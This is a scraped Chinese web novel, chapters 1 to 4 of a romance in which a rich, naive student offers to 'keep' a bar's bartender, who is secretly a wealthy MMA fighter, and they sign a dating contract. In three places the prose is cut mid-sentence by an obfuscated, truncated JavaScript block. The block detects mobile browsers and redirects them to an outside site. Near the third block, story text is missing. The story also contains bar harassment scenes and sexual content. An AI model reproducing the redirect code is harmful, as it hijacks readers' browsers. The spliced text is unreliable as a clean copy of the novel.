《错把太子爷当穷学生甩了后》 1. 第 1 章 那晚,陶真是被刚认识不久的大学同学带到酒吧里长见识的。 推开雕刻着暗色骷髅头的大门,踏进沾满了彩色飘带的木质地板,映入眼帘的便是一片群魔乱舞的景象:素不相识的红男绿女拼了桌,下一刻便调笑着热吻起来,开始摸彼此的私密部位。 站在门口的营销见他们一行人来了,热情万分地将他们带进卡座,路上脸不红心不跳地为一对差点光屁股蛋的情侣手动打上马赛克,完事就开始为他们介绍今晚的酒水单。 ——这种刺激程度,显然超出了陶真这个小处男的认知。 他盯着沙发上那团可疑的白色污渍看了几秒,脚下像是生了根一样在原地定住了,怎么也坐不下去,转身就要离开这个是非之地。 只是还没来得及走两步,就被身边的同学一把拉住。 “哎,陶真。不是说好一起过来长长见识的嘛,你难道害怕了?” 陶真果然停下了。 那些同学趁热打铁:“你以前在宣城那种小地方,不知道情况。南城的酒吧都是这样的,这很正常~” 很正常? 这正常吗?? 陶真满腹怀疑,面上却装得若无其事:“咳……我没害怕。” 像是看透了他的色厉内荏,同学们不约而同地笑起来,强硬地拽着他的袖子坐下,把酒水单递到他跟前。 “行了行了,你没害怕。哥们带你玩一次就知道了,你会爱上这里的。” “酒我们都已经点好了,你直接买单吧。” 一个收款码被递了过来,上面四位数的数字算不上小。 几人彼此对视,使了眼色,又含着笑意看向陶真,在桌子底下比了几个手势。 他们跟陶真根本不是一路人,却非要把他留下,原因很简单:陶真是个家里有钱的富二代。 陶爸十几年前在矿上发的家,从一个苦哈哈的穷小子,摇身一变成了身家千万、上亿的煤老板,连带着陶真也变得金光闪闪,虽然成绩算不上顶尖,却能靠爸爸的投资,进入南城大学国际交换部,很有实力。 而且陶真还很舍得给朋友花钱,不论是出去吃饭还是买东西,他替朋友买单,眼睛眨都不眨。 这样人傻钱多的土财主,可遇而不可求。 灯光太暗,陶真没注意到他们窸窸窣窣的小动作。 他只是忍着空气中刺鼻的香水味,飞快地拿出手机,爽快地扫码付了账。 “叮咚”一声,酒吧营销笑着退下,同学们也不再围在他身边。 陶真这才松了口气,低下头,心有余悸地摸了摸自己的裤子,确认它上面没沾染到什么脏东西。 老话说的对,死要面子活受罪。 这地方太乱了,来见识过这么一次就差不多了。 想到这儿,陶真重新抬起了眼。 然而就这么漫不经心的一瞥,他的视线却牢牢地落在了不远处的某个人身上,像牛皮糖一样撕也撕不下来。 ——那是一名调酒师。 在一片群魔乱舞中,站在吧台前岿然不动,一张帅得令人神魂颠倒的俊脸上写满了冷漠和淡然。 白衬衫从最底下扣到最上面一颗,一丝不苟,仿佛从泥地里开出的一朵清丽摇曳的荷花。 只可远观,不可亵玩。 陶真呆呆地看了几秒,心忽然“咚咚”地跳了起来。 他情不自禁地直起身子,想要靠近那名调酒师,有人却先他一步,笑意盈盈地举起了手机,熟络地跟调酒师攀谈起来。 可惜的是,那名调酒师根本没有要搭理的意思,面色平静地转过身继续擦杯子,一句话也没说。 陶真迟疑了。 他停下了起身的动作,有些出神。 直到服务生端着酒水过来,同学们注意到了他的魂不守舍,用力地拍了拍他的肩膀,开玩笑道:“怎么了?看上哪个妹子了?” 陶真这才猛然惊醒,犹豫了几秒,语气轻松地说:“不,不是姑娘。我只是觉得……刚刚那边的一个调酒师很、很帅……” 几人顺着他的目光望去,脸上闪过惊异。 他们自然知道陶真说的是谁。祝闻声,那个前段时间才到Light酒吧里就引起了一阵骚动的少年。 平心而论,他长得确实很帅。眉骨优越,丹凤眼眼尾上挑,平扇双眼皮窄长,睫毛浓黑。略微“眉压眼”的长相,却不显凶,只为他平添了几分冷漠而阴郁的气质。 但是这祝闻声太拽了,拽得让人很不爽。 多少男女生前仆后继地倒贴他,他却不为所动。 晦暗的灯光下,不知是谁的眸光一动:“哦,你说的是祝闻声吧?那你惨了,走正常的途径,根本没办法要到他的微信。” 陶真其实已经亲眼看见了,但难免还是有点失望,扯了个笑容:“没事,那就算了吧……” “哎!别算了呀!只是正常途径不行,没说别的不行啊,”那人挤了挤眼睛,“你注意到他的打扮了吗?有没有看出来什么?” 陶真顿住。 虽然隔了很远,但那少年骨节分明的大手格外清晰夺目。从尺骨到结实的小臂,从宽肩到劲瘦的窄腰……每一处都力量感十足。 只是他穿的衣服根本没什么牌子,身上也没什么首饰,抬起袖口时,隐隐约约还看得出大片颜色骇人的瘀青和擦伤。 “他的家境……”陶真感觉自己忽然明白了什么,“是不是不太好?” “对了!他这种人啊,肯定是过来勤工俭学的大学生。最缺的是什么?钱!而钱,刚好是你最不缺的东西。所以我说啊,你得另辟蹊径,不能用传统的眼光去看你跟他的关系——” 陶真:“可是……” “有什么可是的?你这是帮助他,保护他。如果不是你,他遇到了别人,才是被侮辱呢。哥们这么多人,怎么可能骗你?” 陶真安静了几秒,若有所悟。 过了不知多久,趁着他去上厕所,那帮同学也停止了冲彼此挤眉弄眼的动作,彻底放松地大笑,就着这件事高谈阔论起来,仿佛已经看到了陶真吃瘪、祝闻声发怒的模样。 “哈哈哈哈,斌子,你怎么这么损?!” “就是啊,你怎么想到让陶真去包|养祝闻声的?他们俩要是能成,我倒立吃屎!” 被称为斌子的人笑起来:“他们俩当然成不了啊……” “就是因为这样,我们才有乐子看,不是吗?” - 酒吧里的声音太过吵嚷,各种窥探的黏腻目光恶心得令人作呕。 又一次拒绝了一个要跟他约|炮的壮汉熊男后,祝闻声冷着脸扔下了围裙,离开了吧台,准备去卫生间洗把脸。 走到门口时,他刚好碰到了从另一侧出来的黎旻。 红发黑裙的女人掀开布帘,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775753|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见他的时候也明显一顿,鲜红的唇瓣碾了碾烟蒂,似笑非笑地看向祝闻声,揶揄着开口:“少爷,后悔了吗?” 祝闻声侧过脸,身上的戾气散了些许。 暖黄色的灯光拂过他高挺坚硬的鼻梁,明晃晃地照亮了他的耳朵。 那里跟正常人长得不太一样,上半段几乎因增生而扭曲,形状像是饺子。 这是由反复受伤和充血而造成的,和那些经常会出现在身上的瘀青和伤口一样,是MMA综合格斗选手的特征。 黎旻浅笑着说:“长这么大,还没像现在这样,每天被这么多人骚扰、受这么大的耻辱吧?” 这话倒是不假。 作为南城祝家的少爷,祝闻声从前十九年没经历过的骚扰,在这儿一天就体验了个遍。 那些人把他当成了毫无背景、勤工俭学的穷学生,以为只要随便给点钱,他就会没骨气地贴上去。 他打从心底里觉得烦。 但是,“不后悔。” 祝闻声收回视线,拧开了水龙头,低头浇湿了脸。 细密的水珠顺着他锋利的下颚线往下流淌,将白衬衫的领口浸透,与肉色的皮肤紧紧相贴,随呼吸,显露出起伏的胸口弧度。 年轻的格斗选手,身上的每一寸皮肤都是精雕细琢的。 格斗选手都是天生的疯子,为达目的不择手段。 经过无数训练和战斗,把身上的每一寸肌肉锻炼激活。迅速脱水,又迅速恢复状态。翻跃上台时就像丛林里饿了许多天的野兽,纯粹而血腥。 “表姐,谢了。” “……” “操,别谢了,你谢得我折寿。” 黎旻拿他没办法,只好敛起了脸上的笑容,面无表情地弹了弹烟灰, “谁让你放着好好的太子爷不做,非要跑到我的俱乐部里练MMA呢?托你的福,我被外公外婆骂得狗血喷头,也差点就被你爷爷奶奶的手段搞得干不下去了。” “你特么的不在这儿受点苦,都不知道我为了你付出了多少!” 想到自己这段时间的心酸经历,黎旻咬牙,伸手扯过祝闻声的领子摇晃发泄。 她指尖猩红的火点明明灭灭,烟灰随之摇晃,抖落在祝闻声潮湿的领口。 祝闻声也没反抗,只是神态平静地低着头,殊不知自己此时此刻的模样到底有多狼狈。 直到两人背后的男卫生间里传来了一阵轻快的脚步声。 一道纤细修长的人影拨开了帘子,视线瞬间凝固。 满腔热血冲上了心头,陶真缓缓睁大了双眼,呼吸急促。 也许斌子他们说的是对的。 他心有顾虑,认为即使祝闻声是穷学生,他也不该用“包|养”这种手段来定义二人之间的关系。 但现在的场景,明显告诉他,他错了。 如果他不主动把祝闻声揽在自己的羽翼下,祝闻声就会像现在这样,被其他人折辱。 念及此,陶真深吸了一口气。 “放开他!” 他大跨步地走到两人之间,将祝闻声护到自己身后,一双湿漉漉的狗狗眼恶狠狠地瞪向黎旻: “从现在开始,他是我的人了,不允许你欺负。” 说罢,陶真便转过身,仰起头看向祝闻声: “她刚刚准备给你多少钱?我给你双倍。” “我养你!” 2. 第 2 章 不远处的舞池爆发出一阵嘈杂的尖叫,简直成了狂欢的地狱,卫生间门口却一时静得落针可闻。 那句掷地有声的“我养你”盘旋在空气中久久都没消散,足足过了好几秒,祝闻声才如梦初醒般眨了下眼,细细地打量起了说这句话的人。 ——这是个极为漂亮的金发少年。 从刚刚在吧台的那会,就一直在偷看自己。被那些狐朋狗友排到最边缘,鹤立鸡群。 张扬夺目的发色衬得他整个人极为明亮。巴掌大的小脸上全是五官,鼻梁挺翘,嘴唇嫣红,一颗小虎牙明晃晃的。 当然,最吸引人注意的还是他那双眼尾微垂、湿漉漉的狗狗眼。 干净,清澈,稚气十足。 明明是要“包/养”人,却用甜言蜜语,把这件事说得像是求婚。 祝闻声的嘴唇动了动,心底隐隐生出一股难以言喻的情绪,盯着金发少年看了许久:“……你养我?” 陶真立刻用力地点了点头。 祝闻声沉默了几秒:“你知道我是谁吗?” 陶真还没来得及回答,一旁的黎旻却真的再也忍不了,猛地低下了头。 女人的肩膀不住地颤抖,连手里的烟灰都撒了一地,像即将变异成丧尸的前兆。 她……是在笑吗? 怔愣几秒后,浑身的血液差点都涌到了头顶,陶真后知后觉地有些生气,猛地上前握住了祝闻声的手腕: “我当然知道!我不仅知道你是谁,还知道你这么长时间以来到底过得有多不容易!” 一边为了高昂的学费出卖劳动力,一边还要为了生活委曲求全,向欺辱他的人曲意逢迎。 “你以后不用再忍受这些了,我会给你钱的,”陶真一脸认真,身上白色T恤前的GUCCI字母在灯光下闪闪发亮,就连攥着祝闻声的那只手上都有着金光闪闪的饰品,沉甸甸,触感冰凉,“我叫陶真。且陶陶、乐尽天真的那个陶真……” 仿佛有一阵细细密密的电流从两人皮肤相碰的地方一路往上,祝闻声的呼吸情不自禁地急促了几秒。 很奇怪,他厌恶那些向他抛媚眼、求约炮的人,却并不讨厌面前这个试图包/养他的男孩。 也许是因为真正有坏心思的人,不会拥有那么一双璀璨而明亮的眼睛。 然而说到底,那男孩——陶真,还是找错人了。 “……我不是那种人,不要你的钱,也不用被你养。” 昏暗的灯光下,祝闻声的瞳孔黑漆漆的,是拒人于千里之外的冷漠。 他调整好呼吸,用滚烫的指腹拉开陶真的手,语气极其冷淡:“麻烦让一下,我去上班了。” “可是……!” 陶真张了张唇,眼睁睁地看着少年越过了他,径直走向吧台。 一旁红发黑裙的女人也终于停止了无声的大笑,摁灭了手中的烟头,姿态优雅地走到陶真的跟前,勾了勾他的下巴,慵懒道:“放弃吧小弟弟,我刚刚都那么强迫他了,他也没有同意我的‘包/养’。” “他是块不好啃的硬骨头,我建议你还是换个人追吧,乖啊。” 说罢,黎旻也离开了。 陶真在原地站了半晌,再一次被来上厕所的人用异样的眼光打量时,终于有些失魂落魄地走向自己原本的卡座。 熟悉的面孔全都消失不见了,取而代之的是一帮围在桌边抓手指的陌生人。他们前一秒还在喝酒,下一秒就在尖叫里嘴对嘴地亲了起来。 陶真停在原地没敢过去,拿出手机给斌子发了条消息:【斌哥,你们在哪儿呢?】 周遭水泄不通,陶真被撞得摇摇晃晃,好不容易才站定,点开了那头发来的语音。 满不在乎的男声响起:【哦,我们已经出来了,现在正准备去曹记吃龙虾呢。我们刚刚以为你先回家了,就没等你,不好意思啊。】 “……” 陶真安静了好几秒,胡乱地抬起手抹了把脸。 也许是灯光太亮了,映得他的眼圈有点红。 算了。 朋友之间没必要计较那么多。 是斌子他们主动跟他结识的,这样外向的人,天生比较大大咧咧吧。 陶真收起了手机,吐出一口气,拨开层层叠叠的人群,很艰难地往酒吧的门口走。 一路上拥吻狂欢的人群相当暴露,他都保持着非礼勿视的态度。然而在经过一群上半身光裸的“十八罗汉”时,他却忽然顿住了。 原因无他,此时此刻,他们正把一个穿着服务生衣服的女孩围在中间,每个人的脸上都带着玩嗨了以后的兴奋和激动。 尽管那怯生生的女服务生吓得脸都白了,端着托盘连连后退,那十八罗汉却把她的抗拒当成了情/趣,抓着她的手摸自己的腹肌。 陶真脑袋一热。 回过神时,他已经三步并作两步地冲到了人群之中,把女服务生挡在了自己的身后。 几道男人不满的视线瞬间向他直射来。 “哎兄弟,我们认识么?你干什么!” “就是啊,没看见我们在这儿玩得正开心吗?” 女孩被吓得一抖,忙抓住陶真的衣摆晃了晃。 陶真动作幅度很轻地安抚了她一下,转过身时半点不让,灿金色的发丝在跳跃的霓虹色光芒下显得格外耀眼。 “我干什么?我还想问呢,你们把人家服务员留在这儿干什么?我点了好半天的单子没人给我上!” “……”十八罗汉自知理亏,顿住了。 陶真隔空握住女孩的肩膀把她往边上推,扬声,一把清脆的嗓子格外响亮: “来,我给你多拿点钱,别跟他们玩了,先去仓库帮我拿几瓶酒——” 金发少年身上各种各样的饰品闪得人眼花,身上的GUCCI也是当季新品,一件的价格顶他们好几件。 十八罗汉们有自知之明,原本涌到胸口的不满也渐渐散了,偃旗息鼓,重新坐下喝酒。 终于离开了那个地方,女孩腿一软,扶着吧台桌子差点跌下来。 陶真扶着她坐下,摸了摸口袋,没摸到手帕纸,只好把自己的T恤下摆拉起来给她抹鼻涕。 “你一个小姑娘……下次别来这种地方打工了。” 女孩泪眼汪汪地点了点头,声音有些发颤:“主管姐姐说过了,让我待在后厨,但…但我今天是第一天来,不小心走错了地方,不怪别人。” “这里上班工资很高的,我舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775754|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得走。” 陶真垂下眼,不知想到了什么,有些许出神。 吧台处的灯光明亮,也比别处要稍微静谧一些,甚至隐隐给了他一种被人注视着的感觉。 大概是错觉吧。 “好吧,反正你自己注意安全。” 陶真扶了女孩一把,抬起头,“跟主管说一声,去后面休息吧。我就先走了。” 女孩点点头:“谢谢你……” 在目送着陶真往门口走时,女孩才注意到他被弄脏的T恤下摆,短促地“哎”了一声,匆匆去拉他。 “等等,你的衣服——” 两人拉扯的这一秒,陶真抬起眼,猝不及防地对上了不远处祝闻声的视线。 空气仿佛在一瞬凝固住。 逼近一米九的冷淡少年眸如点漆。 上挑的丹凤眼被眉骨的投影压着,看不清,却好像某种蛰伏在森林里的野兽。 表面上才出现在这里,实际却已不知窥伺了多久。 “砰”地一声,祝闻声扔下了腰间的围裙,转身离开了吧台。 陶真猛地回过神,后退两步避开了女孩的接触,匆匆地朝那个方向追了过去。 人潮汹涌,陶真险些踩了人家几脚,好不容易才挤到了黑洞洞的走廊口,左右张望。 祝闻声会不会觉得自己很花心啊? 包/养不了他,就开始对别的服务生下手? 陶真没忍住小小地骂了声脏话,脑袋嗡嗡作响,咬牙走进了走廊里。 入目是一片伸手不见五指的黑,他凭着本能走了两步,忽然感觉自己踢到了什么东西。 空气中忽然响起了一阵高亢激昂的呻|吟。 男人的辱骂声和另一道娇俏的求饶声混合在一起,糅杂着啧啧水声,瞬间让陶真头皮发麻。 “谁在那边!”那男人粗吼着骂。 陶真身上的汗“唰”地一下下来了,立刻转身。 野鸳鸯的追骂声不止,他绝望至极,同手同脚地往外跑。 就在即将跌倒的那一刻,陶真的手腕忽然被一只宽大的手掌握住,身体被重重地压进了一个滚烫的胸膛。 后背抵靠在冰冷的墙壁上,面前却是饱满而柔软的胸肌。陶真一时间被撞得七荤八素,回过神才感觉到自己的T恤往上撩起,纤细而光洁的腰被一只粗粝、满是老茧的大手用力握住。 是谁?! 陶真的眼里一瞬蕴满了水汽。 “放开我!” 他像只愤怒的小兽,呜咽着伸腿蹬了身前的男人好几下。这男人却仿佛对这点反抗毫无所觉,甚至往下扣住了他的大腿弯,单手就将他整个人抱起,藏在怀里。 差距太悬殊了。 那男人的力量太恐怖了。 陶真处于完全被掌控的姿态,根本反抗不了,正要狠狠地冲着那人咬下去时,忽然听见那对交/媾的野鸳鸯越过了他,一边骂,一边远远地跑走了。 与此同时,他的眼睛也适应了黑暗,在短暂的晃神之后,看清了眼前男人的面容—— 几缕散乱的黑发垂在眼前,窄长的平扇双眼皮掀起。 俊美十足,冷淡阴沉。 不是别人,正是祝闻声。 3. 第 3 章 怎么会是他?! 陶真的脑袋“嗡”的一声,他仿佛是被捏住了后脖颈的小猫崽子,推也不是,顺从也不是,只会僵僵地蜷在原地。 半晌,还是祝闻声率先松开了对他的钳制,将他轻轻放到地面。 少年黑沉沉的瞳眸里没什么情绪,居高临下地望着他,仿佛只是在陈述一个事实:“你哭了。” 哭……哭了? 陶真后知后觉地摸了摸脸,果然,触感是一片潮湿的冰凉。他有点尴尬地抹了好几把,找不到地方擦,正想胡乱地揩在T恤上,就见面前忽然出现了一张整齐的手帕纸。 顺着那张纸往上,映入眼帘的是一只脉络淡青、骨节分明的大掌。 “用这个。”祝闻声别开脸,声音有些哑。 陶真:“……谢谢。” 他低着头,一边擦脸,一边小心翼翼地用余光觑了两眼祝闻声。 刚刚的拉扯,令祝闻声白衬衫领口的扣子松开了。从锁骨到胸膛,一小片光裸的皮肤露在外面,显得他整个人的气质都有些不一样了。 比起那种斯文勤俭又温柔的三好学生,更像是那种冷淡桀骜的校/霸……轻而易举就能把人摁住,居高临下施以“惩罚”的那种。 很粗暴,很恐怖。 连拥抱都凶得像是要吃人。 不过这肯定是陶真的错觉。 祝闻声都已经拒绝了他的包/养,厌恶他都来不及,怎么可能会主动跟他亲密? 刚刚的事,只不过是情急之下的权宜之计,祝闻声怕他被那对野鸳鸯发现,才会那样对他的。 想到这儿,陶真磨磨蹭蹭地收起了纸巾,有点小心翼翼地抬起头: “对了……你刚刚,看到我跟那个女生在那边聊天了吗?” 祝闻声的身体有一瞬微不可见的凝滞。 他没有转过头,只是平静地“嗯”了一声。 “其实你误会了,我不是看到一个人就想包.养的,我跟刚刚她其实没什么关系,”陶真犹豫了几秒,鼓起勇气,“我……我还是比较想包.养你。” 走廊里一片浓重的黑暗。 祝闻声慢慢地转过头,瞳眸里反射着些许不远处的亮光,一张脸俊美冷淡。 陶真心里霎时一紧,却佯装镇定:“我知道,刚刚在那个女人面前提双倍钱养你的事,肯定让你觉得难堪了。但我没在开玩笑,我向你保证,如果你跟我在一起的话,我不会强迫你做不喜欢的事,而且除了给你提供金钱的支持以外,还会尊重你的意愿,满足你的要求……” 祝闻声忽然开口打断他:“无论什么要求?” 陶真一怔,用力点头:“无论什么要求!” 祝闻声沉默两秒,向陶真的方向逼近了一步。 男人身上浑然天成的压迫感实在是太强大,陶真明明占着“金主”的身份,却不由自主地后退了一些,几乎快要贴在墙壁上。 他顶着一头灿烂的金发,仰着那张漂亮的小脸,颇有点天不怕地不怕的初生牛犊意味。 “你可以仔细考虑一下,因为在这里上班其实……” 祝闻声的双眸极其冰冷。 好似一块巨石砸上冰层,带起整个世界的剧烈震颤,躁郁的情绪涌上心头,一些毫无缘由的念头雪花般飞溅出来。 无论什么要求都答应? 陶真到底知不知道这意味着什么? 但凡他想“包/养”的人不是自己,而是其他人,现在就会跟刚刚那对野鸳鸯一样在这儿交/媾了。 那人才不会松开陶真,反而会就着刚刚的姿势,摁住陶真的细腰,剥掉那件碍事的T恤,然后咬住那一截雪白到晃眼的皮肉,逼得他像可怜巴巴的小动物那样哭出来—— 祝闻声深呼吸了两口气,按捺下胸口的躁动,平静地将不慎解开的领口重新系好,不再看陶真,转身离开走廊。 陶真该庆幸自己找上的人是他。 而他对这种淫/乱的事情没兴趣。 “哎!” 陶真一脸茫然,完全不知道为什么明明说的好好的,祝闻声却忽然走人了。 “所以你到底怎么想的呀?你同不同意呀?” 陶真小跑着追了出去,一直跟到了吧台旁,还在依依不饶地追问:“你是南城大学的学生吗?有没有申请助学金?是不是生活费不够,所以才来打工的呀?” “我听说大学里很多人都很过分,明明自己有钱,却要把贫困生的名额都占据掉。这些人是真不要脸,我爸说了,如果遇到这种缺德货,一定要见义勇为,替天行道……” 祝闻声走得不算快,能够清晰地将少年清朗而活泼的声音全部收入耳中。他很庆幸自己今天穿的是牛仔裤,而不是平常训练穿的轻薄短裤。 正当他打算拨开吧台的门走进去、即将摆脱陶真的追随时,一道娇软而惊喜的女声忽然响了起来。 “原来你还在这儿!我还以为你已经走了呢!” 刚刚那个被陶真从十八罗汉手里救下来的女孩欣喜地跑到了他身边,手里还攥着一件叠得整整齐齐的工作服:“你的衣服被我弄脏了,我想帮你洗干净……你跟我一起去休息室吧?换上这个,然后把那件脏衣服给我……” 怯生生的女孩脸红了,大概一米六的个头,站在一米七四的陶真身边,恰好是个最萌身高差。 陶真收回落在祝闻声身上的视线,转头望向女孩,想起了她的脸,恍然大悟:“哦!没事儿,这衣服统共也没多少钱,我回家随便换了就成。你不用帮我洗,赶紧去休息吧。” 女孩摇了摇头,上前一步,拉住陶真的衣摆:“没关系的,你…你好心帮了我,我总不能恩将仇报……” 陶真打小就拿女孩子没办法,既不好意思厉声呵斥,却也不好意思走得太近。这会儿他颇有些手足无措。 眼看着就要被这女孩一步一步地拉到后面的员工休息室时,身侧忽然覆下了一道阴影。 “男女有别,”祝闻声冷声说,“既然他要去换衣服,那就跟我来吧。” 女孩茫然地抬起头:“……?!” 她还没来得及反应,便见那位几乎从不和任何人交流的祝闻声用力地握住了陶真的手腕,带着人径直离开,消失在了拐角。 茫然的不只有她,还有陶真。 一边跌跌撞撞地往里走,一边感受着从手腕上传来的灼热温度。 呆滞了几秒,他才理清楚现在的状况,没忍住抿了抿唇。 ……怎么还是不相信他啊? 还是认为他求包养不成,就会继续勾搭别的女孩吗? 他真的不是那样的人。老老实实本本分分了十八年,别说亲嘴了,连手都没跟人家牵过。 “别往里走了!” 陶真忽然停下了脚步,用力地甩了一下胳膊,没甩开祝闻声的钳制,漂亮的小脸紧紧绷着,狗狗眼垂着, “我没想要女生帮我洗衣服,也没想去包/养人家。不放心的话就把我直接送到酒吧门外吧,我要回家……” “陶真。” 祝闻声转过头,冷淡的语气下藏着滚烫熔岩般的情绪,“你今年多大?” 陶真:“……十八岁。” 祝闻声颔首,喃喃自语般重复道:“成年了啊……” 成年了,所以呢? 陶真有些不明所以,却完全挣脱不开,只好被祝闻声一路拉着往里走,绕过了休息室,在一间架着电脑的办公室门口停下。 “咔嚓”一声,祝闻声锁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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甲方双方需满足对方的要求,尊重彼此的意愿,包括随时终止条约。 甲方每月需给予乙方100元经济补偿。 陶真呆住了,对着那两份一模一样的协议看了又看。 祝闻声则站起身,从桌上抽了支笔,摁开,在那两张纸上签自己的名字。 现代的格斗比赛有量级划分,可从前的格斗无论体重,不看年龄,上台就是弱肉强食。 丛林法则,就好似刻在每个格斗运动员骨血里的蛮横。 祝闻声一直以为自己没有这份残忍和恶劣。 但今天,陶真主动走到他的身边。 “不是说要‘养我’么,” 祝闻声的字迹苍劲有力,他写完后,顺势把纸笔推到陶真的面前,“签吧。” 陶真接过笔,沉默了好一会。 挺好的合约,也和他的意愿完全相符。 看起来,一切都没什么问题。 可是…… 祝闻声的声音清冷:“还有什么顾虑吗?” 陶真犹豫了一会,还是咬牙道:“……每个月,你就只要一百块,人.民.币吗?” “刚刚那个女人……就只打算出五十?” “……” 陶真的目光一瞬间变得极其怜悯。 上菜市场买几斤猪排骨都不止五十啊。 多可怜的孩子啊,这得是多没钱,才会连包养的费用都只要这么点?! 4. 第 4 章 “……” 祝闻声额角的青筋狠狠地跳了跳,他此时此刻真的很想知道,一向优雅的黎旻听见这句话,会不会被气疯? 五十? 后面加个万还差不多。他在俱乐部每个月请的教练、营养师、团队、一起去比赛的车马费……零零总总加起来都不止五十万了。 他填一百块,纯粹是不缺钱,不需要吃陶真喂的这口软饭,所以随便填了一个数字而已。 “不,”祝闻声沉默两秒,觉得自己还是有必要为黎旻正名一下,“她不是只……” 等等,不对,被绕进去了!他跟黎旻是正经的表姐弟关系,什么时候扯到包养费了?? “没关系,不想说就不说了,”陶真见他沉默,体贴地接过了话茬,只是看向他的目光饱含着愈发浓郁的怜悯和心疼,甚至还在为他找补,“我知道,应该不可能这么少。有可能是你听错了,哪怕没有五万,至少……也得出到五千块吧。” 祝闻声:“……” “不过不管怎么说,幸好你没有同意她的包/养。因为无论她给你多少,我都会努力给你双倍!” 金发少年说完,忽然握拳,眼睛亮晶晶地拿起笔,在那张协议上的“100”后加了三个零。 “这个只是基本工资,”他兴致勃勃地说,“每个节假日、休息日都算加班,会有三倍工资。月末还会发奖金……除此之外,你有任何想要的东西,都可以直接跟我说,我额外给你买。” 真是……相当贴心的老板,相当高昂的工资。 祝闻声摁了摁眉心,还是鬼迷心窍般开口:“嗯,行。” 陶真欣喜地弯起了眼。 他高高兴兴地在协议上签了自己的名字,圆圆墩墩的两个字挨挨挤挤地靠在一块,像两个虎头虎脑的小孩。 “那我们就这样说定了,”他笑眯眯地看向祝闻声,“男朋友,从今以后,多多指教!” 祝闻声的喉结滚了滚,也不知到底是在适应那句“男朋友”,还是适应些别的什么,总之,他最终还是轻声道:“嗯,好。” 一式两份的恋爱协议签完了,陶真高高兴兴地收起了属于自己的那份,想赶快回家把这个消息跟朋友们分享一下。只是还没来得及拧开门把,他就感觉到身后忽然袭来了一阵滚烫的风。 祝闻声的动作算不上轻柔,已然忍耐了许久。 他将陶真抵在自己和门板之间,眉骨的阴影遮住了丹凤眼,声音有些许沙哑:“陶真。” 灯光大亮,刺得眼前一片模糊 陶真不得不眯着眼睛,笑着问:“嗯?怎么啦。” 手背骨节上的青筋脉络神经质地跳了跳。 祝闻声也不知道自己今天究竟是怎么了。 也许是发了疯,才会做出这样的事情。 “……没什么,”过了好几秒,祝闻声才淡淡地收回目光,面色一如既往的平静,只有胸膛剧烈地起伏了一下,“这扇门要这么开。” “咔嗒”一声,锁开了。 “哦!” 陶真毫无所觉地笑着,顺势从祝闻声的怀里出来,脚步轻快地往外面走。 当一天和尚撞一天钟,祝闻声还要继续在酒吧干活。陶真在吧台陪了他好一会,最终受不了自己被弄脏的T恤和满身的烟酒味,先回家洗了澡换了衣服。 酒精的作用姗姗来迟,陶真脸上挂着笑沉入了梦乡。 这会才八月份,离正式开学还有会工夫,正是人生当中最爽的一段暑假。 陶真毫无心理负担,一觉就睡到了第二天中午,还是被亲爹打来的电话吵醒的。 “喂……” “儿子啊,吃过饭了没有?”陶大俊粗犷的声音从那头响起,“这两天在干什么呢,怎么都没主动给爸爸打个电话?” 陶真清醒了,一骨碌从床上翻了起来。 从很早以前开始,陶真就知道,他家的情况和旁人家的不太一样。明明父母双全,但从小学开始到高中,来给他开家长会的人永远都是家里的保姆。 妈妈作为国内知名的音乐剧演员,在全球各地四处乱飞。爸爸也在矿里忙上忙下,几乎没时间来照看他。 他不怪妈妈,因为妈妈生养了他,又用自己的事业、靠演音乐剧的钱养家。 他也不怪爸爸,因为爸爸早出晚归,自己抠抠搜搜才买一套西服,却对他和妈妈都大方得不行,从香奈儿买到爱马仕,恨不得把所有昂贵的奢侈品都堆到他们身上。 人不能既要又要。 他从未被父母短过金钱和爱,就不能再贪心地跟他们要陪伴。 不过即使把自己劝得很好了,有些一个人孤零零的夜晚,他还是会想念小时候。 ——那时候家里没有钱,但爸爸妈妈都陪在他的身边。 “睡过头了,没吃呢,”陶真笑着喊了声爸,很快却又想到了什么,手指无意识地扣上了真丝被褥的边缘,讷讷地说,“我这两天……没干什么,就是在家里睡觉。” 也许是少了家人的关心,陶真格外珍惜自己身边的朋友。 尽管陶大俊曾告诉他,要小心那些不三不四的“狐朋狗友”,他却始终不想把朋友们想的太坏。 他几乎是条件反射地想跟爸爸说自己昨天晚上见义勇为的事,可话到嘴边却又迟疑了,不敢讲自己被带到那么乱的酒吧里“长见识”。 毕竟他爸从小就告诉他,做人要诚实守信,要忠诚专一……绝对不会同意他去那种乱糟糟的酒吧,跟一个男人暧昧不清,还签下恋爱协议。 陶真只能岔开话题:“你给妈妈打过电话了吗?她最近在港城演出吧,还安全吗?” “安全,当然安全,”陶大俊一说到这个,立刻精神了,不无得意地说,“我老婆可是她们剧团的金字招牌,谁不是冲着她去看剧的?无论到哪儿都会被好好地保护起来!” 陶真也与有荣焉地笑了。 他们父子俩都是林曼妙女士的忠实粉丝。 